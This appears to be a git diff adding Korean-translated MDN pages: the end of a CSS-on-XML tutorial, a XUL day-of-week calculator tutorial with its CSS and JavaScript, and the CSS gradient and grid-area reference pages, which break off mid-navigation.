+&lt;ocean&gt;
+&lt;name&gt;Southern&lt;/name&gt;
+&lt;area&gt;20,000&lt;/area&gt;
+&lt;depth&gt;4,500&lt;/depth&gt;
+&lt;/ocean&gt;
+
+&lt;/planet&gt;
+</pre></div>
+<p>새로운 CSS 문서를 텍스트 파일 <code>style9.css</code>로 만드세요.
+아래의 내용물을 복사해서 붙여넣되 스크롤해서 전체를 다 넣을 수 있도록 하세요:
+</p>
+<div style="width: 48em; height: 12em; overflow: auto;"><pre>/*** XML demonstration ***/
+
+planet:before {
+ display: block;
+ width: 8em;
+ font-weight: bold;
+ font-size: 200%;
+ content: "Oceans";
+ margin: -.75em 0px .25em -.25em;
+ padding: .1em .25em;
+ background-color: #cdf;
+ }
+
+planet {
+ display: block;
+ margin: 2em 1em;
+ border: 4px solid #cdf;
+ padding: 0px 1em;
+ background-color: white;
+ }
+
+ocean {
+ display: block;
+ margin-bottom: 1em;
+ }
+
+name {
+ display: block;
+ font-weight: bold;
+ font-size: 150%;
+ }
+
+area {
+ display: block;
+ }
+
+area:before {
+ content: "Area: ";
+ }
+
+area:after {
+ content: " million km\B2";
+ }
+
+depth {
+ display: block;
+ }
+
+depth:before {
+ content: "Mean depth: ";
+ }
+
+depth:after {
+ content: " m";
+ }
+</pre></div>
+<p>브라우저에서 문서를 여세요:
+</p>
+<table style="border: 2px outset #36b; padding: 1em;">
+<tbody><tr>
+<td><div style="border: 2px solid #cdf; border-bottom: none; padding: .5em 8em 1em .5em;">
+<p style="font-size: 150%; font-weight: bold; margin: -1em 0px 0px 0px; padding: .1em .25em; background-color: #cdf; width: 8em;">Oceans</p>
+<p style="font-size: 75%; margin: .25em 0px 0px 0px; line-height: 110%;"><b>Arctic</b><br>
+Area: 13,000 million km²<br>
+Mean depth: 1,200 m</p>
+<p style="font-size: 75%; margin: .5em 0px 0px 0px; line-height: 110%;"><b>Atlantic</b><br>
+Area: 87,000 million km²<br>
+Mean depth: 3,900 m</p>
+<p style="font-size: 75%; margin: .5em 0px 0px 0px; line-height: 110%;"><b>. . .</b></p>
+</div>
+</td></tr></tbody></table>
+<p>이 예제에서 주의할 점:
+</p>
+<ul><li>수퍼스크립트(superscript) 2 ("million km²" 에 있는)는 CSS파일에 <code>\B2</code>로 코딩되어있는 유니코드(Unicode) 문자입니다.
+</li><li>헤딩(heading) "Oceans"는 음수인 상단 마진(negative top margin)을 갖고 있어 보더의 상단에 디스플레이 되도록 위쪽으로 이동 됩니다.
+</li></ul>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
+<caption>Challenge
+</caption><tbody><tr>
+<td> 스타일 시트를 변경해서 문서를 표로 디스플레이하게 하세요.
+<p>(수정할 예문들을 원하시면, CSS 규약의 <a class="external" href="http://www.w3.org/TR/CSS21/tables.html">Tables</a> 챕터를 보세요.) </p>
+</td></tr></tbody></table>
+<h4 id=".EA.B7.B8.EB.9F.BC_.EB.8B.A4.EC.9D.8C.EC.9D.80" name=".EA.B7.B8.EB.9F.BC_.EB.8B.A4.EC.9D.8C.EC.9D.80"> 그럼 다음은 </h4>
+<p>이 페이지를 이해하기 어렵거나 다른 코멘트가 있다면 <a>Discussion</a>에 기여하세요.
+</p><p>이 페이지는 입문서의 마지막 페이지입니다.
+모질라에서의 CSS에 관한 더 많은 정보를 원하시면, 이 위키의 <a href="ko/CSS">CSS</a> 메인 페이지(main page)를 보세요.
+</p>{{ languages( { "en": "en/CSS/Getting_Started/XML_data", "fr": "fr/CSS/Premiers_pas/Donn\u00e9es_XML", "pl": "pl/CSS/Na_pocz\u0105tek/Dane_XML", "pt": "pt/CSS/Como_come\u00e7ar/Dados_XML" } ) }}
diff --git a/files/ko/web/css/getting_started/xul_user_interfaces/index.html b/files/ko/web/css/getting_started/xul_user_interfaces/index.html
new file mode 100644
index 0000000000..cd08f23579
--- /dev/null
+++ b/files/ko/web/css/getting_started/xul_user_interfaces/index.html
@@ -0,0 +1,315 @@
+---
+title: XUL user interfaces
+slug: Web/CSS/Getting_Started/XUL_user_interfaces
+tags:
+ - 'CSS:Getting_Started'
+translation_of: Archive/Beginner_tutorials/XUL_user_interfaces
+---
+<p>이 페이지는 사용자 인터페이스를 만드는 모질라의 특별한 언어를 설명합니다.</p>
+<p>모질라 브라우저에서 작동하는 간단한 예제를 만들어봅니다.</p>
+<h3 id=".EC.A0.95.EB.B3.B4:_.EC.82.AC.EC.9A.A9.EC.9E.90_.EC.9D.B8.ED.84.B0.ED.8E.98.EC.9D.B4.EC.8A.A4" name=".EC.A0.95.EB.B3.B4:_.EC.82.AC.EC.9A.A9.EC.9E.90_.EC.9D.B8.ED.84.B0.ED.8E.98.EC.9D.B4.EC.8A.A4">정보: 사용자 인터페이스</h3>
+<p>HTML가 사용자 인터페이스에 대한 지원를 하고 있으나, 하나의 독립적인 애플리케이션을 만드는데 필요한 모든 기능을 지원하고 있지는 못합니다.</p>
+<p>모질라는 사용자 인터페이스를 만드는 특별한 언어를 제공함으로써 이런 제한사항을 극복하고 있습니다: 이 언어가 바로
+ <i>
+ XUL</i>
+ 입니다. (XML 사용자-인터페이스 언어(XML User-interface Language)로서 보통 "
+ <i>
+ 줄(zool)</i>
+ "라고 읽습니다.)</p>
+<p>XUL에는 많은 흔히사용되는 사용자 인터페이스가 내장되어 있습니다. 예를 들면, XUL은 대화창(dialogue), 위저드(wizard) 같은 특별한 윈도우들 뿐만아니라 상태 바(status bar), 메뉴, 툴 바(tool bar), 그리고 브라우저까지 제공합니다.</p>
+<p>더 많은 특화된 기능들은 이 입문서에서 보아 온 다른 기술들(CSS 스타일, 자바스크립트 코드 그리고 XBL 바인딩)과 함께 XUL을 사용함으로써 만들어 낼 수 있습니다.</p>
+<p>다른 XML-기반 언어들과 같이, XUL은 CSS 스타일 시트를 사용합니다.</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em; width: 100%;">
+ <caption>
+ More details</caption>
+ <tbody>
+ <tr>
+ <td>XUL 사용자 인터페이스에 관한 더 많은 정보를 원하시면, 이 위키의 <a href="ko/XUL">XUL</a> 페이지를 보세요.</td>
+ </tr>
+ </tbody>
+</table>
+<h3 id=".EC.95.A1.EC.85.98:_XUL_.EC.98.88.EC.A0.9C" name=".EC.95.A1.EC.85.98:_XUL_.EC.98.88.EC.A0.9C">액션: XUL 예제</h3>
+<p>새로운 XUL 문서를 텍스트 파일 <code>doc7.xul</code>로 만드세요. 아래의 내용물을 복사해서 붙여넣되 스크롤해서 전체를 다 넣을 수 있도록 하세요:</p>
+<div style="width: 48em; height: 12em; overflow: auto;">
+ <pre>&lt;?xml version="1.0"?&gt;
+&lt;?xml-stylesheet type="text/css" href="style7.css"?&gt;
+&lt;!DOCTYPE window&gt;
+
+&lt;window
+ xmlns="http&amp;58;//www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"
+ title="CSS Getting Started - XUL demonstration"
+ onload="init();"&gt;
+
+&lt;script type="application/x-javascript" src="script7.js"/&gt;
+
+&lt;label class="head-1" value="XUL demonstration"/&gt;
+
+&lt;vbox&gt;
+
+ &lt;groupbox class="demo-group"&gt;
+ &lt;caption label="Day of week calculator"/&gt;
+ &lt;grid&gt;
+ &lt;columns&gt;
+ &lt;column/&gt;
+ &lt;column/&gt;
+ &lt;/columns&gt;
+ &lt;rows&gt;
+ &lt;row&gt;
+ &lt;label class="text-prompt" value="Date:"
+ accesskey="D" control="date-text"/&gt;
+ &lt;textbox id="date-text" type="timed"
+ timeout="750" oncommand="refresh();"/&gt;
+ &lt;/row&gt;
+ &lt;row&gt;
+ &lt;label value="Day:"/&gt;
+ &lt;hbox id="day-box"&gt;
+ &lt;label class="day" value="Sunday" disabled="true"/&gt;
+ &lt;label class="day" value="Monday" disabled="true"/&gt;
+ &lt;label class="day" value="Tuesday" disabled="true"/&gt;
+ &lt;label class="day" value="Wednesday" disabled="true"/&gt;
+ &lt;label class="day" value="Thursday" disabled="true"/&gt;
+ &lt;label class="day" value="Friday" disabled="true"/&gt;
+ &lt;label class="day" value="Saturday" disabled="true"/&gt;
+ &lt;/hbox&gt;
+ &lt;/row&gt;
+ &lt;/rows&gt;
+ &lt;/grid&gt;
+ &lt;hbox class="buttons"&gt;
+ &lt;button id="clear" label="Clear" accesskey="C"
+ oncommand="clearDate();"/&gt;
+ &lt;button id="today" label="Today" accesskey="T"
+ oncommand="setToday();"/&gt;
+ &lt;/hbox&gt;
+ &lt;/groupbox&gt;
+
+ &lt;statusbar&gt;
+ &lt;statusbarpanel id="status"/&gt;
+ &lt;/statusbar&gt;
+
+&lt;/vbox&gt;
+
+&lt;/window&gt;
+</pre>
+</div>
+<p>새로운 CSS 파일 <code>style7.css</code>을 만드세요. 아래의 내용물을 복사해서 붙여넣되 스크롤해서 전체를 다 넣을 수 있도록 하세요:</p>
+<div style="width: 48em; height: 12em; overflow: auto;">
+ <pre>/*** XUL demonstration ***/
+window {
+ -moz-box-align: start;
+ background-color: -moz-dialog;
+ font: -moz-dialog;
+ padding: 2em;
+ }
+
+.head-1 {
+ font-weight: bold;
+ font-size: 200%;
+ padding-left: 5px;
+ }
+
+
+/* the group box */
+.demo-group {
+ padding: 1em;
+ }
+
+.demo-group grid {
+ margin-bottom: 1em;
+ }
+
+.demo-group column {
+ margin-right: .5em;
+ }
+
+.demo-group row {
+ margin-bottom: .5em;
+ }
+
+.demo-group .buttons {
+ -moz-box-pack: end;
+ }
+
+
+/* the day-of-week labels */
+.day {
+ margin-left: 1em;
+ }
+
+.day[disabled] {
+ color: #777;
+ }
+
+.day:first-child {
+ margin-left: 4px;
+ }
+
+
+/* the left column labels */
+.text-prompt {
+ padding-top: .25em;
+ }
+
+
+/* the date input box */
+#date-text {
+ max-width: 8em;
+ }
+
+
+/* the status bar */
+statusbar {
+ width: 100%;
+ border: 1px inset -moz-dialog;
+ margin: 4px;
+ padding: 0px 4px;
+ }
+
+#status {
+ padding: 4px;
+ }
+
+#status[warning] {
+ color: red;
+ }
+</pre>
+</div>
+<p>새로운 텍스트 파일 <code>script7.js</code>을 만드세요. 아래의 내용물을 복사해서 붙여넣되 스크롤해서 전체를 다 넣을 수 있도록 하세요:</p>
+<div style="width: 48em; height: 12em; overflow: auto;">
+ <pre>// XUL demonstration
+
+var dateBox, dayBox, currentDay, status; // elements
+
+// called by window onLoad
+function init() {
+ dateBox = document.getElementById("date-text")
+ dayBox = document.getElementById("day-box")
+ status = document.getElementById("status")
+ setToday();
+ }
+
+// called by Clear button
+function clearDate() {
+ dateBox.value = ""
+ refresh()
+ }
+
+// called by Today button
+function setToday() {
+ var d = new Date()
+ dateBox.value = (d.getMonth() + 1)
+ + "/" + d.getDate()
+ + "/" + d.getFullYear()
+ refresh()
+ }
+
+// called by Date textbox
+function refresh() {
+ var d = dateBox.value
+ var theDate = null
+
+ showStatus(null)
+ if (d != "") {
+ try {
+ var a = d.split("/")
+ var theDate = new Date(a[2], a[0] - 1, a[1])
+ showStatus(theDate)
+ }
+ catch (ex) {}
+ }
+ setDay(theDate)
+ }
+
+// internal
+function setDay(aDate) {
+ if (currentDay) currentDay.setAttribute("disabled", "true")
+ if (aDate == null) currentDay = null
+ else {
+ var d = aDate.getDay()
+ currentDay = dayBox.firstChild
+ while (d-- &gt; 0) currentDay = currentDay.nextSibling
+ currentDay.removeAttribute("disabled")
+ }
+ dateBox.focus();
+ }
+
+function showStatus(aDate) {
+ if (aDate == null) {
+ status.removeAttribute("warning")
+ status.setAttribute("label", "")
+ }
+ else if (aDate === false || isNaN(aDate.getTime())) {
+ status.setAttribute("warning", "true")
+ status.setAttribute("label", "Date is not valid")
+ }
+ else {
+ status.removeAttribute("warning")
+ status.setAttribute("label", aDate.toLocaleDateString())
+ }
+ }
+</pre>
+</div>
+<p>정확히 의도하신대로 결과를 보고 싶으시면, 브라우저의 디폴트 씸(default theme)을 사용하세요. 다른 씸(theme)을 사용하고 계시면, 씸이 몇가지 사용자 인터페이스 스타일을 변경해서 예제가 좀 이상하게 보일 수 도 있습니다.</p>
+<p>브라우저에서 문서를 열고 인터페이스를 사용하세요.</p>
+<p>이 위키페이지는 XUL과 자바스크립트를 지원하지 않습니다. 따라서 예제가 어떻게 실행되는 지 보여드릴 수 없습니다.</p>
+<p>다음과 같이 보입니다:</p>
+<table style="border: 2px outset #36b; background-color: threedface; padding: 1em; cursor: default; white-space: nowrap; margin: .5em 0;">
+ <tbody>
+ <tr>
+ <td>
+ <p style="font-size: 150%; font-weight: bold; margin: 0; padding: 0;">XUL demonstration</p>
+ <div style="position: relative; border: 2px groove threedhighlight; margin-top: 1em;">
+ <p style="float: left; margin: -1em 0 0 .5em; padding: 0; background-color: threedface;">Day of week calculator</p>
+ <table style="background-color: threedface; margin: .5em; padding-right: .5em;">
+ <tbody>
+ <tr>
+ <td style="padding-right: .5em;"><u>D</u>ate:</td>
+ <td style="background-color: white; border: 1px solid #000; width: 8em; float: left; cursor: text; padding: .15em .25em;">6/27/2005</td>
+ </tr>
+ <tr>
+ <td>Day:</td>
+ <td style="color: graytext;">Sunday <span style="color: #000;">Monday</span> Tuesday Wednesday Thurdsay Friday Saturday</td>
+ </tr>
+ <tr>
+ <td> </td>
+ <td>
+ <div style="float: right; margin-top: .5em;">
+ <p><span style="border: 2px outset threedface; padding: .25em 1em;"><u>C</u>lear</span> <span style="border: 2px outset threedface; padding: .25em 1em;"><u>T</u>oday</span></p>
+ </div>
+ </td>
+ </tr>
+ </tbody>
+ </table>
+ </div>
+ <div style="border: 1px inset threedface; margin-top: 1em;">
+ <p style="margin: 0; padding: .25em .5em;">June 27, 2005</p>
+ </div>
+ </td>
+ </tr>
+ </tbody>
+</table>
+<p>이 예제에서 주의할 점:</p>
+<ul>
+ <li>XUL문서는 이전처럼 스타일 시트에 링크되어 있으며, 스크립트에도 링크되어 있습니다.</li>
+ <li>스크립트는 이 예제에서 중요하지 않습니다.</li>
+ <li>보게되는 대부분의 스타일은 브라우저의 씸(theme)에의해서 정해집니다.</li>
+</ul>
+<p>문서의 스타일 시트를 잘 검토해서 그안의 모든 규칙들을 확실히 이해하도록 하세요. 이해하지 못하는 규칙이 있으면, 코멘트 아웃(comment out)한 다음 브라우저를 리프레쉬해서 문서에 나타나는 효과를 보도록 하세요.</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
+ <caption>
+ Challenge</caption>
+ <tbody>
+ <tr>
+ <td>DOM 조사 도구(DOM Inspector tool)을 사용해서 Date textbox를 검사하세요. Date textbox는 XBL 바인딩으로 만들어진 다른 엘리먼트들로 이루어져 있습니다.
+ <p><code>html:input</code> 엘리먼트의
+ <i>
+ 클래스</i>
+ 를 찾아내세요. 이 엘리먼트가 실질적으로 샤용자 입력을 받고 있습니다.</p>
+ <p>이 지식을 이용해서, 스타일 시트에 규칙을 하나 더해서 Date box가 키보드 포거스를 가지게 될때 배경색이 희미한 푸른색으로 되게 하세요.(그러나 키보드 포커스가 다른 데 있을 경우 힌색이 되게 하세요.)</p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+<h4 id=".EA.B7.B8.EB.9F.BC_.EB.8B.A4.EC.9D.8C.EC.9D.80.3F" name=".EA.B7.B8.EB.9F.BC_.EB.8B.A4.EC.9D.8C.EC.9D.80.3F">그럼 다음은?</h4>
+<p>If you had difficulty understanding this page, or if you have other comments about it, please contribute to its <a>Discussion</a> page.</p>
+<p>이 예제에서 대부분의 사용자 인터페이스에 공통적으로 사용되는 표준적인 사각형 도형들을 보았습니다. 모질라는 스타일을 지정하는 CSS스타일 시트를 이용하여 도형을 만들어내는 쓰는 특별한 그래픽 언어도 지원하고 있습니다. 다음 페이지에서는 이것을 실행해 봅니다: <b><a href="ko/CSS/Getting_Started/SVG_graphics">SVG graphics</a></b></p>
+<p>{{ languages( { "fr": "fr/CSS/Premiers_pas/Interfaces_utilisateur_XUL", "pl": "pl/CSS/Na_pocz\u0105tek/XUL-owe_interfejsy_u\u017cytkownika" } ) }}</p>
diff --git a/files/ko/web/css/gradient/index.html b/files/ko/web/css/gradient/index.html
new file mode 100644
index 0000000000..aebfab76bf
--- /dev/null
+++ b/files/ko/web/css/gradient/index.html
@@ -0,0 +1,160 @@
+---
+title: <gradient>
+slug: Web/CSS/gradient
+tags:
+ - CSS
+ - CSS Data Type
+ - CSS Images
+ - Graphics
+ - Layout
+ - Reference
+ - 그라데이션
+ - 그레이디언트
+translation_of: Web/CSS/gradient
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>&lt;gradient&gt;</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> <a href="/ko/docs/Web/CSS/CSS_Types">자료형</a>은 {{cssxref("&lt;image&gt;")}}의 특별한 종류로 여러 색의 점진적인 변화를 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/type-gradient.html")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<p>CSS 그레이디언트는 <a href="/ko/docs/Web/CSS/image#no_intrinsic">원본 크기가 없습니다</a>. 즉 실제 크기나 선호 크기가 없습니다. 그레이디언트의 크기는 적용하는 요소의 크기와 동일해집니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<h3 id="그레이디언트_함수">그레이디언트 함수</h3>
+
+<p><code>&lt;gradient&gt;</code> 자료형은 아래 나열한 함수 중 하나를 사용해 생성합니다.</p>
+
+<h4 id="선형_그레이디언트">선형 그레이디언트</h4>
+
+<p>가상의 선을 따라 여러 색 사이를 전이합니다. {{cssxref("linear-gradient()")}} 함수를 사용해 생성합니다.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="linear-gradient"&gt;선형 그레이디언트&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">div {
+ width: 240px;
+ height: 80px;
+}</pre>
+</div>
+
+<pre class="brush: css">.linear-gradient {
+ background: linear-gradient(to right,
+ red, orange, yellow, green, blue, indigo, violet);
+}</pre>
+
+<p>{{EmbedLiveSample('선형_그레이디언트', 240, 80)}}</p>
+
+<h4 id="원형_그레이디언트">원형 그레이디언트</h4>
+
+<p>중심점으로부터 바깥으로 여러 색 사이를 전이합니다. {{cssxref("radial-gradient()")}} 함수를 사용해 생성합니다.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="radial-gradient"&gt;원형 그레이디언트&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">div {
+ width: 240px;
+ height: 80px;
+}</pre>
+</div>
+
+<pre class="brush: css">.radial-gradient {
+ background: radial-gradient(red, yellow, rgb(30, 144, 255));
+}
+</pre>
+
+<p>{{EmbedLiveSample('원형_그레이디언트', 240, 80)}}</p>
+
+<h4 id="반복_그레이디언트">반복 그레이디언트</h4>
+
+<p>요소를 꽉 채울 때까지 그레이디언트를 필요한 만큼 반복합니다. {{cssxref("repeating-linear-gradient()")}}나 {{cssxref("repeating-radial-gradient()")}} 함수를 사용해 생성합니다.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="linear-repeat"&gt;반복하는 선형 그레이디언트&lt;/div&gt;
+&lt;br&gt;
+&lt;div class="radial-repeat"&gt;반복하는 원형 그레이디언트&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">div {
+ width: 240px;
+ height: 80px;
+}</pre>
+</div>
+
+<pre class="brush: css">.linear-repeat {
+ background: repeating-linear-gradient(to top left,
+ lightpink, lightpink 5px, white 5px, white 10px);
+}
+
+.radial-repeat {
+ background: repeating-radial-gradient(powderblue, powderblue 8px, white 8px, white 16px);
+}</pre>
+
+<p>{{EmbedLiveSample('반복_그레이디언트', 220, 180)}}</p>
+
+<h4 id="원뿔_그레이디언트">원뿔 그레이디언트</h4>
+
+<p>원을 따라 여러 색 사이를 전이합니다. {{cssxref("conic-gradient", "conic-gradient()")}} 함수를 사용해 생성합니다.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="conic-gradient"&gt;원뿔 그레이디언트&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">div {
+ width: 200px;
+ height: 200px;
+}</pre>
+</div>
+
+<pre class="brush: css">.conic-gradient {
+ background: conic-gradient(lightpink, white, powderblue);
+}
+</pre>
+
+<p>{{EmbedLiveSample('원뿔_그레이디언트', 240, 80)}}</p>
+
+<h2 id="보간">보간</h2>
+
+<p>색과 관련한 다른 보간과 마찬가지로, 그레이디언트도 색과 투명도가 동시에 변할 때 예상하지 못한 회색이 등장하는걸 방지하기 위해 알파 채널을 미리 곱한 색 공간을 사용해 계산합니다. 오래 된 브라우저에서 {{cssxref("&lt;color&gt;", "", "#transparent_키워드")}} 키워드를 사용할 땐 다르게 행동할 수 있음을 주의하세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th>Specification</th>
+ <th>Status</th>
+ <th>Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS4 Images', '#gradients', '&lt;gradient&gt;')}}</td>
+ <td>{{Spec2('CSS4 Images')}}</td>
+ <td>Adds conic-gradient.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Images', '#gradients', '&lt;gradient&gt;')}}</td>
+ <td>{{Spec2('CSS3 Images')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.types.image.gradient")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/CSS/Using_CSS_gradients" title="Using gradients">CSS 그레이디언트 사용하기</a></li>
+ <li>그레이디언트 함수: {{cssxref("linear-gradient", "linear-gradient()")}}, {{cssxref("radial-gradient", "radial-gradient()")}}, {{cssxref("repeating-linear-gradient", "repeating-linear-gradient()")}}, {{cssxref("repeating-radial-gradient", "repeating-radial-gradient()")}}</li>
+</ul>
diff --git a/files/ko/web/css/grid-area/index.html b/files/ko/web/css/grid-area/index.html
new file mode 100644
index 0000000000..9daba54c7b
--- /dev/null
+++ b/files/ko/web/css/grid-area/index.html
@@ -0,0 +1,206 @@
+---
+title: grid-area
+slug: Web/CSS/grid-area
+tags:
+ - CSS
+ - CSS Grid
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/grid-area
+---
+<p><strong><code>grid-area</code></strong> 속성은 {{cssxref("grid-row-start")}}, {{cssxref("grid-column-start")}}, {{cssxref("grid-row-end")}} and {{cssxref("grid-column-end")}} 값을 한번에 설정하는 <a href="/en-US/docs/Web/CSS/Shorthand_properties">shorthand</a> property 입니다. 해당 속성값은 grid item의 크기와 위치를 결정합니다., specifying a grid item’s size and location within the {{glossary("grid rows", "grid row")}} by contributing a line, a span, or nothing (automatic) to its grid placement, thereby specifying the edges of its {{glossary("grid areas", "grid area")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/grid-area.html")}}</div>
+
+
+
+<p>If four <code>&lt;grid-line&gt;</code> values are specified, <code>grid-row-start</code> is set to the first value, <code>grid-column-start</code> is set to the second value, <code>grid-row-end</code> is set to the third value, and <code>grid-column-end</code> is set to the fourth value.</p>
+
+<p>When <code>grid-column-end</code> is omitted, if <code>grid-column-start</code> is a {{cssxref("&lt;custom-ident&gt;")}}, <code>grid-column-end</code> is set to that <code>&lt;custom-ident&gt;</code>; otherwise, it is set to <code>auto</code>.</p>
+
+<p>When <code>grid-row-end</code> is omitted, if <code>grid-row-start</code> is a <code>&lt;custom-ident&gt;</code>, <code>grid-row-end</code> is set to that <code>&lt;custom-ident&gt;</code>; otherwise, it is set to <code>auto</code>.</p>
+
+<p>When <code>grid-column-start</code> is omitted, if <code>grid-row-start</code> is a <code>&lt;custom-ident&gt;</code>, all four longhands are set to that value. Otherwise, it is set to <code>auto</code>.</p>
+
+<p>The grid-area property can also be set to a {{cssxref("&lt;custom-ident&gt;")}} which acts as a name for the area, which can then be placed using {{cssxref("grid-template-areas")}}.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: css no-line-numbers">/* Keyword values */
+grid-area: auto;
+grid-area: auto / auto;
+grid-area: auto / auto / auto;
+grid-area: auto / auto / auto / auto;
+
+/* &lt;custom-ident&gt; values */
+grid-area: some-grid-area;
+grid-area: some-grid-area / another-grid-area;
+
+/* &lt;integer&gt; &amp;&amp; &lt;custom-ident&gt;? values */
+grid-area: some-grid-area 4;
+grid-area: some-grid-area 4 / 2 another-grid-area;
+
+/* span &amp;&amp; [ &lt;integer&gt; || &lt;custom-ident&gt; ] values */
+grid-area: span 3;
+grid-area: span 3 / span some-grid-area;
+grid-area: 2 span / another-grid-area span;
+
+/* Global values */
+grid-area: inherit;
+grid-area: initial;
+grid-area: unset;
+</pre>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Is a keyword indicating that the property contributes nothing to the grid item’s placement, indicating auto-placement or a default span of <code>1</code>.</dd>
+ <dt><code>&lt;custom-ident&gt;</code></dt>
+ <dd>If there is a named line with the name '<code>&lt;custom-ident&gt;-start</code>'/'<code>&lt;custom-ident&gt;-end</code>', it contributes the first such line to the grid item’s placement.
+ <p class="note"><strong>Note:</strong> Named grid areas automatically generate implicit named lines of this form, so specifying <code>grid-area: foo;</code> will choose the start/end edge of that named grid area (unless another line named <code>foo-start</code>/<code>foo-end</code> was explicitly specified before it).</p>
+
+ <p>Otherwise, this is treated as if the integer <code>1</code> had been specified along with the <code>&lt;custom-ident&gt;</code>.</p>
+ </dd>
+ <dt><code>&lt;integer&gt; &amp;&amp; &lt;custom-ident&gt;?</code></dt>
+ <dd>Contributes the <em>n</em>th grid line to the grid item’s placement. If a negative integer is given, it instead counts in reverse, starting from the end edge of the explicit grid.
+ <p>If a name is given as a {{cssxref("&lt;custom-ident&gt;")}}, only lines with that name are counted. If not enough lines with that name exist, all implicit grid lines are assumed to have that name for the purpose of finding this position.</p>
+
+ <p>An {{cssxref("&lt;integer&gt;")}} value of <code>0</code> is invalid.</p>
+ </dd>
+ <dt><code>span &amp;&amp; [ &lt;integer&gt; || &lt;custom-ident&gt; ]</code></dt>
+ <dd>Contributes a grid span to the grid item’s placement such that the corresponding edge of the grid item’s grid area is <em>n</em> lines from the opposite edge.
+ <p>If a name is given as a {{cssxref("&lt;custom-ident&gt;")}}, only lines with that name are counted. If not enough lines with that name exist, all implicit grid lines on the side of the explicit grid corresponding to the search direction are assumed to have that name for the purpose of counting this span.</p>
+
+ <p>If the {{cssxref("&lt;integer&gt;")}} is omitted, it defaults to <code>1</code>. Negative integers or 0 are invalid.</p>
+ </dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Example">Example</h2>
+
+<h3 id="HTML_content">HTML content</h3>
+
+<pre class="brush: html">&lt;div id="grid"&gt;
+ &lt;div id="item1"&gt;&lt;/div&gt;
+ &lt;div id="item2"&gt;&lt;/div&gt;
+ &lt;div id="item3"&gt;&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS_content">CSS content</h3>
+
+<pre class="brush: css; highlight[9]">#grid {
+ display: grid;
+ height: 100px;
+ grid-template: repeat(4, 1fr) / 50px 100px;
+}
+
+#item1 {
+ background-color: lime;
+ grid-area: 2 / 2 / auto / span 3;
+}
+
+#item2 {
+ background-color: yellow;
+}
+
+#item3 {
+ background-color: blue;
+}
+</pre>
+
+<p>{{EmbedLiveSample("Example", "100%", "150px")}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSS3 Grid", "#propdef-grid-area", "grid-area")}}</td>
+ <td>{{Spec2("CSS3 Grid")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.properties.grid-area")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Related CSS properties: {{cssxref("grid-row")}}, {{cssxref("grid-row-start")}}, {{cssxref("grid-row-end")}}, {{cssxref("grid-column")}}, {{cssxref("grid-column-start")}}, {{cssxref("grid-column-end")}}, {{cssxref("grid-template-areas")}}</li>
+ <li>Grid Layout Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></em></li>
+ <li>Video tutorial: <em><a href="http://gridbyexample.com/video/grid-template-areas/">Grid Template Areas</a></em></li>
+</ul>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+ <li data-default-state="open"><a href="#"><strong>Guides</strong></a>
+ <ol>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basics concepts of grid layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement</a></li>
